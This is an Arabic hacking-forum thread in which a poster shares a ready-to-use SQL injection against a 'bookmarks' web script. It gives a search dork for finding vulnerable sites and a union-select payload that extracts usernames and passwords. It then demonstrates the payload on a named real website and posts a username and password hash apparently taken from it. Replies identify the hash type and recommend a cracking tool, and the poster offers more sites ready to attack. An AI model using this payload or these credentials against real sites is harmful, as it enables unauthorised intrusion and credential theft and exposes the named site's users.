:: vBspiders Professional Network :: - تغرة سهلـــة ادخــل و اخترق علـى رحتـكــ

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- SQL قواعد البيانات (http://www.vbspiders.com/vb/f133.html)

تغرة سهلـــة ادخــل و اخترق علـى رحتـكــ

السلام عليكم

أقدم لكم ثغرة راائـعـة و سهـلـة جداا في سكريبت bookmarks
الـثغرة لقيتهـا في منتدى عربي و قلت انقلهـا لكـم

اولا و لابـد منــه الـدوركـ :lalala:

inurl:bookmarks/view_group.php?id

الــثـغرة

+union+select+1,2,concat_ws(0x3a,username,passwor d),4,5,6,7,8+from+apb_users--

كـالعـادة فأر التجاريــب

http://www.tegus.de/bookmarks/view_group.php?id=19

هذا الموقع راح نجرب عليه

ضيف رله رابط الاستغلال هدا
+union+select+1,2,concat_ws(0x3a,username,passwor d),4,5,6,7,8+from+apb_users--
ليصبح

http://www.tegus.de/bookmarks/view_g...om+apb_users--

ملحووظــة
لا تنسى علامـة - قبل 1

?id=-1

راح يفتح لك الموقع عادي وتجد اليوزر والباس أمامك

achim:274x0QoO8Dj92

اليوزر achim

الباس 274x0QoO8Dj92

عندي لكم مواقع جاهزة للاختراق

لكـن مشفر :a32:smilies4

فكـ الهاش على رحتـــكـــ :a26:

انتظر ردووودكــم

ما نوع التشفير /// ؟؟

ما نوع التشفير؟

بارك الله فيك

[align=center]شكرا لك على الثغرة
وطبعا التشفيراخواني من نوع DES UNIX
وهو صعب الحقيقة لم اتعمل معاة من قبل ومااعتقد موقع بفك نوع من هذا التشفير بس افضل شيء نزلوا برنامج cain
ممكن يفك هذا النوع من التشفير ..)[/align]

[align=center]مممم الثغرة للحقن
ننقلها لقسم الحقن
مشكور بارك الله فيك ع الثغرة
تحياتي[/align]

مشخوووووووووووووووووووور